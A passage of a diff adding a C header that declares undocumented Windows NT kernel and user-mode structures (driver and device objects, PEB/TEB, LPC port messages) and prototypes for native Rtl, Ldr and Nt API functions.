FILE_128_BYTE_ALIGNMENT 0x0000007f +#define FILE_256_BYTE_ALIGNMENT 0x000000ff +#define FILE_512_BYTE_ALIGNMENT 0x000001ff + +#define DPC_NORMAL 0 +#define DPC_THREADED 1 +#define DEVICE_TYPE DWORD + +typedef struct _DEVICE_OBJECT { + CSHORT Type; + USHORT Size; + LONG ReferenceCount; + struct _DRIVER_OBJECT *DriverObject; + struct _DEVICE_OBJECT *NextDevice; + struct _DEVICE_OBJECT *AttachedDevice; + struct _IRP *CurrentIrp; + PVOID Timer; + ULONG Flags; + ULONG Characteristics; + __volatile PVPB Vpb; + PVOID DeviceExtension; + DEVICE_TYPE DeviceType; + CCHAR StackSize; + union { + LIST_ENTRY ListEntry; + WAIT_CONTEXT_BLOCK Wcb; + } Queue; + ULONG AlignmentRequirement; + KDEVICE_QUEUE DeviceQueue; + KDPC Dpc; + ULONG ActiveThreadCount; + PSECURITY_DESCRIPTOR SecurityDescriptor; + KEVENT DeviceLock; + USHORT SectorSize; + USHORT Spare1; + struct _DEVOBJ_EXTENSION * DeviceObjectExtension; + PVOID Reserved; +} DEVICE_OBJECT, *PDEVICE_OBJECT; + +typedef struct _DEVOBJ_EXTENSION { + + CSHORT Type; + USHORT Size; + + // + // Public part of the DeviceObjectExtension structure + // + + PDEVICE_OBJECT DeviceObject; // owning device object + + // end_ntddk end_nthal end_ntifs end_wdm end_ntosp + + // + // Universal Power Data - all device objects must have this + // + + ULONG PowerFlags; // see ntos\po\pop.h + // WARNING: Access via PO macros + // and with PO locking rules ONLY. + + // + // Pointer to the non-universal power data + // Power data that only some device objects need is stored in the + // device object power extension -> DOPE + // see po.h + // + + struct _DEVICE_OBJECT_POWER_EXTENSION *Dope; + + // + // power state information + // + + // + // Device object extension flags. Protected by the IopDatabaseLock. + // + + ULONG ExtensionFlags; + + // + // PnP manager fields + // + + PVOID DeviceNode; + + // + // AttachedTo is a pointer to the device object that this device + // object is attached to. The attachment chain is now doubly + // linked: this pointer and DeviceObject->AttachedDevice provide the + // linkage. + // + + PDEVICE_OBJECT AttachedTo; + + // + // The next two fields are used to prevent recursion in IoStartNextPacket + // interfaces. + // + + LONG StartIoCount; // Used to keep track of number of pending start ios. + LONG StartIoKey; // Next startio key + ULONG StartIoFlags; // Start Io Flags. Need a separate flag so that it can be accessed without locks + PVPB Vpb; // If not NULL contains the VPB of the mounted volume. + // Set in the filesystem's volume device object. + // This is a reverse VPB pointer. + + // begin_ntddk begin_wdm begin_nthal begin_ntifs begin_ntosp + +} DEVOBJ_EXTENSION, *PDEVOBJ_EXTENSION; + +typedef struct _FAST_IO_DISPATCH { + ULONG SizeOfFastIoDispatch; + PVOID FastIoCheckIfPossible; + PVOID FastIoRead; + PVOID FastIoWrite; + PVOID FastIoQueryBasicInfo; + PVOID FastIoQueryStandardInfo; + PVOID FastIoLock; + PVOID FastIoUnlockSingle; + PVOID FastIoUnlockAll; + PVOID FastIoUnlockAllByKey; + PVOID FastIoDeviceControl; + PVOID AcquireFileForNtCreateSection; + PVOID ReleaseFileForNtCreateSection; + PVOID FastIoDetachDevice; + PVOID FastIoQueryNetworkOpenInfo; + PVOID AcquireForModWrite; + PVOID MdlRead; + PVOID MdlReadComplete; + PVOID PrepareMdlWrite; + PVOID MdlWriteComplete; + PVOID FastIoReadCompressed; + PVOID FastIoWriteCompressed; + PVOID MdlReadCompleteCompressed; + PVOID MdlWriteCompleteCompressed; + PVOID FastIoQueryOpen; + PVOID ReleaseForModWrite; + PVOID AcquireForCcFlush; + PVOID ReleaseForCcFlush; +} FAST_IO_DISPATCH, *PFAST_IO_DISPATCH; + +#define IO_TYPE_ADAPTER 0x00000001 +#define IO_TYPE_CONTROLLER 0x00000002 +#define IO_TYPE_DEVICE 0x00000003 +#define IO_TYPE_DRIVER 0x00000004 +#define IO_TYPE_FILE 0x00000005 +#define IO_TYPE_IRP 0x00000006 +#define IO_TYPE_MASTER_ADAPTER 0x00000007 +#define IO_TYPE_OPEN_PACKET 0x00000008 +#define IO_TYPE_TIMER 0x00000009 +#define IO_TYPE_VPB 0x0000000a +#define IO_TYPE_ERROR_LOG 0x0000000b +#define IO_TYPE_ERROR_MESSAGE 0x0000000c +#define IO_TYPE_DEVICE_OBJECT_EXTENSION 0x0000000d + +#define IRP_MJ_CREATE 0x00 +#define IRP_MJ_CREATE_NAMED_PIPE 0x01 +#define IRP_MJ_CLOSE 0x02 +#define IRP_MJ_READ 0x03 +#define IRP_MJ_WRITE 0x04 +#define IRP_MJ_QUERY_INFORMATION 0x05 +#define IRP_MJ_SET_INFORMATION 0x06 +#define IRP_MJ_QUERY_EA 0x07 +#define IRP_MJ_SET_EA 0x08 +#define IRP_MJ_FLUSH_BUFFERS 0x09 +#define IRP_MJ_QUERY_VOLUME_INFORMATION 0x0a +#define IRP_MJ_SET_VOLUME_INFORMATION 0x0b +#define IRP_MJ_DIRECTORY_CONTROL 0x0c +#define IRP_MJ_FILE_SYSTEM_CONTROL 0x0d +#define IRP_MJ_DEVICE_CONTROL 0x0e +#define IRP_MJ_INTERNAL_DEVICE_CONTROL 0x0f +#define IRP_MJ_SHUTDOWN 0x10 +#define IRP_MJ_LOCK_CONTROL 0x11 +#define IRP_MJ_CLEANUP 0x12 +#define IRP_MJ_CREATE_MAILSLOT 0x13 +#define IRP_MJ_QUERY_SECURITY 0x14 +#define IRP_MJ_SET_SECURITY 0x15 +#define IRP_MJ_POWER 0x16 +#define IRP_MJ_SYSTEM_CONTROL 0x17 +#define IRP_MJ_DEVICE_CHANGE 0x18 +#define IRP_MJ_QUERY_QUOTA 0x19 +#define IRP_MJ_SET_QUOTA 0x1a +#define IRP_MJ_PNP 0x1b +#define IRP_MJ_PNP_POWER IRP_MJ_PNP +#define IRP_MJ_MAXIMUM_FUNCTION 0x1b + +typedef struct _DRIVER_EXTENSION { + + // + // Back pointer to Driver Object + // + + struct _DRIVER_OBJECT *DriverObject; + + // + // The AddDevice entry point is called by the Plug & Play manager + // to inform the driver when a new device instance arrives that this + // driver must control. + // + + PVOID AddDevice; + + // + // The count field is used to count the number of times the driver has + // had its registered reinitialization routine invoked. + // + + ULONG Count; + + // + // The service name field is used by the pnp manager to determine + // where the driver related info is stored in the registry. + // + + UNICODE_STRING ServiceKeyName; + +} DRIVER_EXTENSION, *PDRIVER_EXTENSION; + +#define DRVO_UNLOAD_INVOKED 0x00000001 +#define DRVO_LEGACY_DRIVER 0x00000002 +#define DRVO_BUILTIN_DRIVER 0x00000004 // Driver objects for Hal, PnP Mgr +#define DRVO_REINIT_REGISTERED 0x00000008 +#define DRVO_INITIALIZED 0x00000010 +#define DRVO_BOOTREINIT_REGISTERED 0x00000020 +#define DRVO_LEGACY_RESOURCES 0x00000040 +// end_ntddk end_nthal end_ntifs end_ntosp +#define DRVO_BASE_FILESYSTEM_DRIVER 0x00000080 // A driver that is at the bottom of the filesystem stack. +// begin_ntddk begin_nthal begin_ntifs begin_ntosp + +typedef struct _DRIVER_OBJECT { + CSHORT Type; + CSHORT Size; + + // + // The following links all of the devices created by a single driver + // together on a list, and the Flags word provides an extensible flag + // location for driver objects. + // + + PDEVICE_OBJECT DeviceObject; + ULONG Flags; + + // + // The following section describes where the driver is loaded. The count + // field is used to count the number of times the driver has had its + // registered reinitialization routine invoked. + // + + PVOID DriverStart; + ULONG DriverSize; + PVOID DriverSection; //PLDR_DATA_TABLE_ENTRY + PDRIVER_EXTENSION DriverExtension; + + // + // The driver name field is used by the error log thread + // determine the name of the driver that an I/O request is/was bound. + // + + UNICODE_STRING DriverName; + + // + // The following section is for registry support. Thise is a pointer + // to the path to the hardware information in the registry + // + + PUNICODE_STRING HardwareDatabase; + + // + // The following section contains the optional pointer to an array of + // alternate entry points to a driver for "fast I/O" support. Fast I/O + // is performed by invoking the driver routine directly with separate + // parameters, rather than using the standard IRP call mechanism. Note + // that these functions may only be used for synchronous I/O, and when + // the file is cached. + // + + PFAST_IO_DISPATCH FastIoDispatch; + + // + // The following section describes the entry points to this particular + // driver. Note that the major function dispatch table must be the last + // field in the object so that it remains extensible. + // + + PVOID DriverInit; + PVOID DriverStartIo; + PVOID DriverUnload; + PVOID MajorFunction[IRP_MJ_MAXIMUM_FUNCTION + 1]; + +} DRIVER_OBJECT; +typedef struct _DRIVER_OBJECT *PDRIVER_OBJECT; + +typedef struct _LDR_DATA_TABLE_ENTRY_COMPATIBLE { + LIST_ENTRY InLoadOrderLinks; + LIST_ENTRY InMemoryOrderLinks; + union + { + LIST_ENTRY InInitializationOrderLinks; + LIST_ENTRY InProgressLinks; + } DUMMYUNION0; + PVOID DllBase; + PVOID EntryPoint; + ULONG SizeOfImage; + UNICODE_STRING FullDllName; + UNICODE_STRING BaseDllName; + ULONG Flags; + WORD ObsoleteLoadCount; + WORD TlsIndex; + union + { + LIST_ENTRY HashLinks; + struct + { + PVOID SectionPointer; + ULONG CheckSum; + }; + } DUMMYUNION1; + union + { + ULONG TimeDateStamp; + PVOID LoadedImports; + } DUMMYUNION2; + //fields below removed for compatibility +} LDR_DATA_TABLE_ENTRY_COMPATIBLE, *PLDR_DATA_TABLE_ENTRY_COMPATIBLE; + +//typedef LDR_DATA_TABLE_ENTRY_COMPATIBLE LDR_DATA_TABLE_ENTRY; +//typedef LDR_DATA_TABLE_ENTRY_COMPATIBLE *PLDR_DATA_TABLE_ENTRY; + + +/* +* WDM END +*/ + +/* +* NTQSI Modules START +*/ + +typedef struct _RTL_PROCESS_MODULE_INFORMATION { + HANDLE Section; + PVOID MappedBase; + PVOID ImageBase; + ULONG ImageSize; + ULONG Flags; + USHORT LoadOrderIndex; + USHORT InitOrderIndex; + USHORT LoadCount; + USHORT OffsetToFileName; + UCHAR FullPathName[256]; +} RTL_PROCESS_MODULE_INFORMATION, *PRTL_PROCESS_MODULE_INFORMATION; + +typedef struct _RTL_PROCESS_MODULES { + ULONG NumberOfModules; + RTL_PROCESS_MODULE_INFORMATION Modules[1]; +} RTL_PROCESS_MODULES, *PRTL_PROCESS_MODULES; + +/* +* NTQSI Modules END +*/ + +/* +** Virtual Memory START +*/ + +typedef enum _MEMORY_INFORMATION_CLASS +{ + MemoryBasicInformation, + MemoryWorkingSetInformation, + MemoryMappedFilenameInformation, + MemoryRegionInformation, + MemoryWorkingSetExInformation +} MEMORY_INFORMATION_CLASS, *PMEMORY_INFORMATION_CLASS; + +typedef struct _MEMORY_REGION_INFORMATION { + PVOID AllocationBase; + ULONG AllocationProtect; + ULONG RegionType; + SIZE_T RegionSize; +} MEMORY_REGION_INFORMATION, *PMEMORY_REGION_INFORMATION; + +/* +** Virtual Memory END +*/ + +/* +** System Firmware START +*/ + +typedef enum _SYSTEM_FIRMWARE_TABLE_ACTION +{ + SystemFirmwareTable_Enumerate, + SystemFirmwareTable_Get +} SYSTEM_FIRMWARE_TABLE_ACTION, *PSYSTEM_FIRMWARE_TABLE_ACTION; + +typedef struct _SYSTEM_FIRMWARE_TABLE_INFORMATION { + ULONG ProviderSignature; + SYSTEM_FIRMWARE_TABLE_ACTION Action; + ULONG TableID; + ULONG TableBufferLength; + UCHAR TableBuffer[ANYSIZE_ARRAY]; +} SYSTEM_FIRMWARE_TABLE_INFORMATION, *PSYSTEM_FIRMWARE_TABLE_INFORMATION; + +/* +** System Firmware END +*/ + +// +// PEB/TEB +// +//typedef struct _PEB_LDR_DATA +//{ +// ULONG Length; +// BOOLEAN Initialized; +// HANDLE SsHandle; +// LIST_ENTRY InLoadOrderModuleList; +// LIST_ENTRY InMemoryOrderModuleList; +// LIST_ENTRY InInitializationOrderModuleList; +// PVOID EntryInProgress; +// BOOLEAN ShutdownInProgress; +// HANDLE ShutdownThreadId; +//} PEB_LDR_DATA, *PPEB_LDR_DATA; + +typedef struct _GDI_HANDLE_ENTRY +{ + union + { + PVOID Object; + PVOID NextFree; + }; + union + { + struct + { + USHORT ProcessId; + USHORT Lock : 1; + USHORT Count : 15; + }; + ULONG Value; + } Owner; + USHORT Unique; + UCHAR Type; + UCHAR Flags; + PVOID UserPointer; +} GDI_HANDLE_ENTRY, *PGDI_HANDLE_ENTRY; + +#define GDI_MAX_HANDLE_COUNT 0x4000 + +typedef struct _GDI_SHARED_MEMORY +{ + GDI_HANDLE_ENTRY Handles[GDI_MAX_HANDLE_COUNT]; +} GDI_SHARED_MEMORY, *PGDI_SHARED_MEMORY; + +#define FLS_MAXIMUM_AVAILABLE 128 +#define TLS_MINIMUM_AVAILABLE 64 +#define TLS_EXPANSION_SLOTS 1024 + +#define DOS_MAX_COMPONENT_LENGTH 255 +#define DOS_MAX_PATH_LENGTH (DOS_MAX_COMPONENT_LENGTH + 5) + +typedef struct _CURDIR +{ + UNICODE_STRING DosPath; + HANDLE Handle; +} CURDIR, *PCURDIR; + +#define RTL_USER_PROC_CURDIR_CLOSE 0x00000002 +#define RTL_USER_PROC_CURDIR_INHERIT 0x00000003 + +typedef struct _RTL_DRIVE_LETTER_CURDIR +{ + USHORT Flags; + USHORT Length; + ULONG TimeStamp; + STRING DosPath; +} RTL_DRIVE_LETTER_CURDIR, *PRTL_DRIVE_LETTER_CURDIR; + +#define RTL_MAX_DRIVE_LETTERS 32 +#define RTL_DRIVE_LETTER_VALID (USHORT)0x0001 + +typedef struct _RTL_USER_PROCESS_PARAMETERS +{ + ULONG MaximumLength; + ULONG Length; + + ULONG Flags; + ULONG DebugFlags; + + HANDLE ConsoleHandle; + ULONG ConsoleFlags; + HANDLE StandardInput; + HANDLE StandardOutput; + HANDLE StandardError; + + CURDIR CurrentDirectory; + UNICODE_STRING DllPath; + UNICODE_STRING ImagePathName; + UNICODE_STRING CommandLine; + PVOID Environment; + + ULONG StartingX; + ULONG StartingY; + ULONG CountX; + ULONG CountY; + ULONG CountCharsX; + ULONG CountCharsY; + ULONG FillAttribute; + + ULONG WindowFlags; + ULONG ShowWindowFlags; + UNICODE_STRING WindowTitle; + UNICODE_STRING DesktopInfo; + UNICODE_STRING ShellInfo; + UNICODE_STRING RuntimeData; + RTL_DRIVE_LETTER_CURDIR CurrentDirectories[RTL_MAX_DRIVE_LETTERS]; + + ULONG EnvironmentSize; + ULONG EnvironmentVersion; +} RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS; + +#define GDI_HANDLE_BUFFER_SIZE32 34 +#define GDI_HANDLE_BUFFER_SIZE64 60 + +#if !defined(_M_X64) +#define GDI_HANDLE_BUFFER_SIZE GDI_HANDLE_BUFFER_SIZE32 +#else +#define GDI_HANDLE_BUFFER_SIZE GDI_HANDLE_BUFFER_SIZE64 +#endif + +typedef ULONG GDI_HANDLE_BUFFER32[GDI_HANDLE_BUFFER_SIZE32]; +typedef ULONG GDI_HANDLE_BUFFER64[GDI_HANDLE_BUFFER_SIZE64]; +typedef ULONG GDI_HANDLE_BUFFER[GDI_HANDLE_BUFFER_SIZE]; + +typedef struct _PEB +{ + BOOLEAN InheritedAddressSpace; + BOOLEAN ReadImageFileExecOptions; + BOOLEAN BeingDebugged; + union + { + BOOLEAN BitField; + struct + { + BOOLEAN ImageUsesLargePages : 1; + BOOLEAN IsProtectedProcess : 1; + BOOLEAN IsLegacyProcess : 1; + BOOLEAN IsImageDynamicallyRelocated : 1; + BOOLEAN SkipPatchingUser32Forwarders : 1; + BOOLEAN SpareBits : 3; + }; + }; + HANDLE Mutant; + + PVOID ImageBaseAddress; + PPEB_LDR_DATA Ldr; + PRTL_USER_PROCESS_PARAMETERS ProcessParameters; + PVOID SubSystemData; + PVOID ProcessHeap; + PRTL_CRITICAL_SECTION FastPebLock; + PVOID AtlThunkSListPtr; + PVOID IFEOKey; + union + { + ULONG CrossProcessFlags; + struct + { + ULONG ProcessInJob : 1; + ULONG ProcessInitializing : 1; + ULONG ProcessUsingVEH : 1; + ULONG ProcessUsingVCH : 1; + ULONG ProcessUsingFTH : 1; + ULONG ReservedBits0 : 27; + }; + ULONG EnvironmentUpdateCount; + }; + union + { + PVOID KernelCallbackTable; + PVOID UserSharedInfoPtr; + }; + ULONG SystemReserved[1]; + ULONG AtlThunkSListPtr32; + PVOID ApiSetMap; + ULONG TlsExpansionCounter; + PVOID TlsBitmap; + ULONG TlsBitmapBits[2]; + PVOID ReadOnlySharedMemoryBase; + PVOID HotpatchInformation; + PVOID *ReadOnlyStaticServerData; + PVOID AnsiCodePageData; + PVOID OemCodePageData; + PVOID UnicodeCaseTableData; + + ULONG NumberOfProcessors; + ULONG NtGlobalFlag; + + LARGE_INTEGER CriticalSectionTimeout; + SIZE_T HeapSegmentReserve; + SIZE_T HeapSegmentCommit; + SIZE_T HeapDeCommitTotalFreeThreshold; + SIZE_T HeapDeCommitFreeBlockThreshold; + + ULONG NumberOfHeaps; + ULONG MaximumNumberOfHeaps; + PVOID *ProcessHeaps; + + PVOID GdiSharedHandleTable; + PVOID ProcessStarterHelper; + ULONG GdiDCAttributeList; + + PRTL_CRITICAL_SECTION LoaderLock; + + ULONG OSMajorVersion; + ULONG OSMinorVersion; + USHORT OSBuildNumber; + USHORT OSCSDVersion; + ULONG OSPlatformId; + ULONG ImageSubsystem; + ULONG ImageSubsystemMajorVersion; + ULONG ImageSubsystemMinorVersion; + ULONG_PTR ImageProcessAffinityMask; + GDI_HANDLE_BUFFER GdiHandleBuffer; + PVOID PostProcessInitRoutine; + + PVOID TlsExpansionBitmap; + ULONG TlsExpansionBitmapBits[32]; + + ULONG SessionId; + + ULARGE_INTEGER AppCompatFlags; + ULARGE_INTEGER AppCompatFlagsUser; + PVOID pShimData; + PVOID AppCompatInfo; + + UNICODE_STRING CSDVersion; + + PVOID ActivationContextData; + PVOID ProcessAssemblyStorageMap; + PVOID SystemDefaultActivationContextData; + PVOID SystemAssemblyStorageMap; + + SIZE_T MinimumStackCommit; + + PVOID *FlsCallback; + LIST_ENTRY FlsListHead; + PVOID FlsBitmap; + ULONG FlsBitmapBits[FLS_MAXIMUM_AVAILABLE / (sizeof(ULONG) * 8)]; + ULONG FlsHighIndex; + + PVOID WerRegistrationData; + PVOID WerShipAssertPtr; + PVOID pContextData; + PVOID pImageHeaderHash; + union + { + ULONG TracingFlags; + struct + { + ULONG HeapTracingEnabled : 1; + ULONG CritSecTracingEnabled : 1; + ULONG SpareTracingBits : 30; + }; + }; +} PEB, *PPEB; + +typedef struct _TEB_ACTIVE_FRAME_CONTEXT +{ + ULONG Flags; + PSTR FrameName; +} TEB_ACTIVE_FRAME_CONTEXT, *PTEB_ACTIVE_FRAME_CONTEXT; + +typedef struct _TEB_ACTIVE_FRAME +{ + ULONG Flags; + struct _TEB_ACTIVE_FRAME *Previous; + PTEB_ACTIVE_FRAME_CONTEXT Context; +} TEB_ACTIVE_FRAME, *PTEB_ACTIVE_FRAME; + +#define GDI_BATCH_BUFFER_SIZE 310 + +typedef struct _GDI_TEB_BATCH { + ULONG Offset; + UCHAR Alignment[4]; + ULONG_PTR HDC; + ULONG Buffer[GDI_BATCH_BUFFER_SIZE]; +} GDI_TEB_BATCH, *PGDI_TEB_BATCH; + +typedef struct _TEB +{ + NT_TIB NtTib; + + PVOID EnvironmentPointer; + CLIENT_ID ClientId; + PVOID ActiveRpcHandle; + PVOID ThreadLocalStoragePointer; + PPEB ProcessEnvironmentBlock; + + ULONG LastErrorValue; + ULONG CountOfOwnedCriticalSections; + PVOID CsrClientThread; + PVOID Win32ThreadInfo; + ULONG User32Reserved[26]; + ULONG UserReserved[5]; + PVOID WOW32Reserved; + LCID CurrentLocale; + ULONG FpSoftwareStatusRegister; + PVOID SystemReserved1[54]; + NTSTATUS ExceptionCode; + PVOID ActivationContextStackPointer; +#if defined(_M_X64) + UCHAR SpareBytes[24]; +#else + UCHAR SpareBytes[36]; +#endif + ULONG TxFsContext; + + GDI_TEB_BATCH GdiTebBatch; + CLIENT_ID RealClientId; + HANDLE GdiCachedProcessHandle; + ULONG GdiClientPID; + ULONG GdiClientTID; + PVOID GdiThreadLocalInfo; + ULONG_PTR Win32ClientInfo[62]; + PVOID glDispatchTable[233]; + ULONG_PTR glReserved1[29]; + PVOID glReserved2; + PVOID glSectionInfo; + PVOID glSection; + PVOID glTable; + PVOID glCurrentRC; + PVOID glContext; + + NTSTATUS LastStatusValue; + UNICODE_STRING StaticUnicodeString; + WCHAR StaticUnicodeBuffer[261]; + + PVOID DeallocationStack; + PVOID TlsSlots[64]; + LIST_ENTRY TlsLinks; + + PVOID Vdm; + PVOID ReservedForNtRpc; + PVOID DbgSsReserved[2]; + + ULONG HardErrorMode; +#if defined(_M_X64) + PVOID Instrumentation[11]; +#else + PVOID Instrumentation[9]; +#endif + GUID ActivityId; + + PVOID SubProcessTag; + PVOID EtwLocalData; + PVOID EtwTraceData; + PVOID WinSockData; + ULONG GdiBatchCount; + + union + { + PROCESSOR_NUMBER CurrentIdealProcessor; + ULONG IdealProcessorValue; + struct + { + UCHAR ReservedPad0; + UCHAR ReservedPad1; + UCHAR ReservedPad2; + UCHAR IdealProcessor; + }; + }; + + ULONG GuaranteedStackBytes; + PVOID ReservedForPerf; + PVOID ReservedForOle; + ULONG WaitingOnLoaderLock; + PVOID SavedPriorityState; + ULONG_PTR SoftPatchPtr1; + PVOID ThreadPoolData; + PVOID *TlsExpansionSlots; +#if defined(_M_X64) + PVOID DeallocationBStore; + PVOID BStoreLimit; +#endif + ULONG MuiGeneration; + ULONG IsImpersonating; + PVOID NlsCache; + PVOID pShimData; + ULONG HeapVirtualAffinity; + HANDLE CurrentTransactionHandle; + PTEB_ACTIVE_FRAME ActiveFrame; + PVOID FlsData; + + PVOID PreferredLanguages; + PVOID UserPrefLanguages; + PVOID MergedPrefLanguages; + ULONG MuiImpersonation; + + union + { + USHORT CrossTebFlags; + USHORT SpareCrossTebBits : 16; + }; + union + { + USHORT SameTebFlags; + struct + { + USHORT SafeThunkCall : 1; + USHORT InDebugPrint : 1; + USHORT HasFiberData : 1; + USHORT SkipThreadAttach : 1; + USHORT WerInShipAssertCode : 1; + USHORT RanProcessInit : 1; + USHORT ClonedThread : 1; + USHORT SuppressDebugMsg : 1; + USHORT DisableUserStackWalk : 1; + USHORT RtlExceptionAttached : 1; + USHORT InitialThread : 1; + USHORT SpareSameTebBits : 1; + }; + }; + + PVOID TxnScopeEnterCallback; + PVOID TxnScopeExitCallback; + PVOID TxnScopeContext; + ULONG LockCount; + ULONG SpareUlong0; + PVOID ResourceRetValue; +} TEB, *PTEB; + +__inline struct _PEB * NtCurrentPeb() { return NtCurrentTeb()->ProcessEnvironmentBlock; } + +/* +** PEB/TEB END +*/ + +/* +** ALPC START +*/ + +typedef struct _PORT_MESSAGE { + union { + struct { + CSHORT DataLength; + CSHORT TotalLength; + } s1; + ULONG Length; + } u1; + union { + struct { + CSHORT Type; + CSHORT DataInfoOffset; + } s2; + ULONG ZeroInit; + } u2; + union { + CLIENT_ID ClientId; + double DoNotUseThisField; // Force quadword alignment + } u3; + ULONG MessageId; + union { + ULONG ClientViewSize; // Only valid on LPC_CONNECTION_REQUEST message + ULONG CallbackId; // Only valid on LPC_REQUEST message + } u4; + UCHAR Reserved[8]; +} PORT_MESSAGE, *PPORT_MESSAGE; + +// end_ntsrv + +typedef struct _PORT_DATA_ENTRY { + PVOID Base; + ULONG Size; +} PORT_DATA_ENTRY, *PPORT_DATA_ENTRY; + +typedef struct _PORT_DATA_INFORMATION { + ULONG CountDataEntries; + PORT_DATA_ENTRY DataEntries[1]; +} PORT_DATA_INFORMATION, *PPORT_DATA_INFORMATION; + +#define LPC_REQUEST 1 +#define LPC_REPLY 2 +#define LPC_DATAGRAM 3 +#define LPC_LOST_REPLY 4 +#define LPC_PORT_CLOSED 5 +#define LPC_CLIENT_DIED 6 +#define LPC_EXCEPTION 7 +#define LPC_DEBUG_EVENT 8 +#define LPC_ERROR_EVENT 9 +#define LPC_CONNECTION_REQUEST 10 + +#define PORT_VALID_OBJECT_ATTRIBUTES (OBJ_CASE_INSENSITIVE) +#define PORT_MAXIMUM_MESSAGE_LENGTH 256 + +typedef struct _LPC_CLIENT_DIED_MSG { + PORT_MESSAGE PortMsg; + LARGE_INTEGER CreateTime; +} LPC_CLIENT_DIED_MSG, *PLPC_CLIENT_DIED_MSG; + +typedef struct _PORT_VIEW { + ULONG Length; + HANDLE SectionHandle; + ULONG SectionOffset; + ULONG ViewSize; + PVOID ViewBase; + PVOID ViewRemoteBase; +} PORT_VIEW, *PPORT_VIEW; + +typedef struct _REMOTE_PORT_VIEW { + ULONG Length; + ULONG ViewSize; + PVOID ViewBase; +} REMOTE_PORT_VIEW, *PREMOTE_PORT_VIEW; + +/* +** ALPC END +*/ + + +/* +** Csr Runtime START +*/ + +ULONG NTAPI CsrGetProcessId( + ); + +/* +** Csr Runtime END +*/ + +/* +** Runtime Library API START +*/ + +VOID NTAPI RtlInitUnicodeString( + _Inout_ PUNICODE_STRING DestinationString, + _In_ PCWSTR SourceString + ); + +//NTSTATUS NTAPI RtlGetVersion( +// _Inout_ PRTL_OSVERSIONINFOW lpVersionInformation +// ); + +VOID NTAPI RtlTimeToTimeFields( + _Inout_ PLARGE_INTEGER Time, + _Inout_ PTIME_FIELDS TimeFields + ); + +ULONG NTAPI RtlNtStatusToDosError( + _In_ NTSTATUS Status + ); + +NTSTATUS NTAPI RtlGetOwnerSecurityDescriptor( + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _Out_ PSID *Owner, + _Out_ PBOOLEAN OwnerDefaulted + ); + +NTSTATUS NTAPI RtlGetGroupSecurityDescriptor( + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _Out_ PSID *Group, + _Out_ PBOOLEAN GroupDefaulted + ); + +NTSTATUS NTAPI RtlGetDaclSecurityDescriptor( + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _Out_ PBOOLEAN DaclPresent, + _Out_ PACL *Dacl, + _Out_ PBOOLEAN DaclDefaulted + ); + +NTSTATUS NTAPI RtlGetSaclSecurityDescriptor( + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _Out_ PBOOLEAN SaclPresent, + _Out_ PACL *Sacl, + _Out_ PBOOLEAN SaclDefaulted + ); + +ULONG NTAPI RtlLengthSecurityDescriptor( + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor + ); + +VOID NTAPI RtlMapGenericMask( + _In_ PACCESS_MASK AccessMask, + _In_ PGENERIC_MAPPING GenericMapping + ); + +VOID NTAPI RtlInitString( + PSTRING DestinationString, + PCSZ SourceString + ); + +NTSTATUS NTAPI RtlExpandEnvironmentStrings_U( + _In_opt_ PVOID Environment, + _In_ PCUNICODE_STRING Source, + _Out_ PUNICODE_STRING Destination, + _Out_opt_ PULONG ReturnedLength + ); + +VOID NTAPI RtlSetLastWin32Error( + LONG Win32Error + ); + +ULONG DbgPrint( + _In_ PCH Format, + ... + ); + +/* +** Runtime Library API END +*/ + +/* +** Loader API START +*/ + +NTSTATUS NTAPI LdrGetProcedureAddress( + _In_ PVOID DllHandle, + _In_opt_ CONST ANSI_STRING* ProcedureName, + _In_opt_ ULONG ProcedureNumber, + _Out_ PVOID *ProcedureAddress + ); + +/* +** Loader API END +*/ + +/* +** Native API START +*/ + +NTSTATUS NTAPI NtClose( + _In_ HANDLE Handle + ); + +NTSTATUS NTAPI NtOpenDirectoryObject( + _Out_ PHANDLE DirectoryHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes + ); + +NTSTATUS NTAPI NtQueryDirectoryObject( + _In_ HANDLE DirectoryHandle, + _Out_opt_ PVOID Buffer, + _In_ ULONG Length, + _In_ BOOLEAN ReturnSingleEntry, + _In_ BOOLEAN RestartScan, + _Inout_ PULONG Context, + PULONG ReturnLength + ); + +NTSTATUS NTAPI NtQueryObject( + _In_opt_ HANDLE Handle, + _In_ OBJECT_INFORMATION_CLASS ObjectInformationClass, + _Out_opt_ PVOID ObjectInformation, + _In_ ULONG ObjectInformationLength, + _Out_opt_ PULONG ReturnLength + ); + +//NTSTATUS WINAPI NtQuerySystemInformation( +// _In_ SYSTEM_INFORMATION_CLASS SystemInformationClass, +// _Inout_ PVOID SystemInformation, +// _In_ ULONG SystemInformationLength, +// _Out_opt_ PULONG ReturnLength +// ); + +NTSTATUS NTAPI NtCreateMutant( + _Out_ PHANDLE MutantHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ BOOLEAN InitialOwner + ); + +NTSTATUS NTAPI NtOpenMutant( + _Out_ PHANDLE MutantHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes + ); + +NTSTATUS NTAPI NtQueryMutant( + _In_ HANDLE MutantHandle, + _In_ MUTANT_INFORMATION_CLASS MutantInformationClass, + _Out_ PVOID MutantInformation, + _In_ ULONG MutantInformationLength, + _Out_opt_ PULONG ReturnLength + ); + +NTSTATUS NTAPI NtReleaseMutant( + _In_ HANDLE MutantHandle, + _Out_opt_ PLONG PreviousCount + ); + +NTSTATUS NTAPI NtCreateTimer( + _In_ PHANDLE TimerHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ TIMER_TYPE TimerType + ); + +NTSTATUS NtSetTimer( + _In_ HANDLE TimerHandle, + _In_ PLARGE_INTEGER DueTime, + _In_opt_ PTIMER_APC_ROUTINE TimerApcRoutine, + _In_opt_ PVOID TimerContext, + _In_ BOOLEAN WakeTimer, + _In_opt_ LONG Period, + _Out_opt_ PBOOLEAN PreviousState + ); + +NTSTATUS NTAPI NtOpenTimer( + _In_ PHANDLE TimerHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes + ); + +NTSTATUS NTAPI 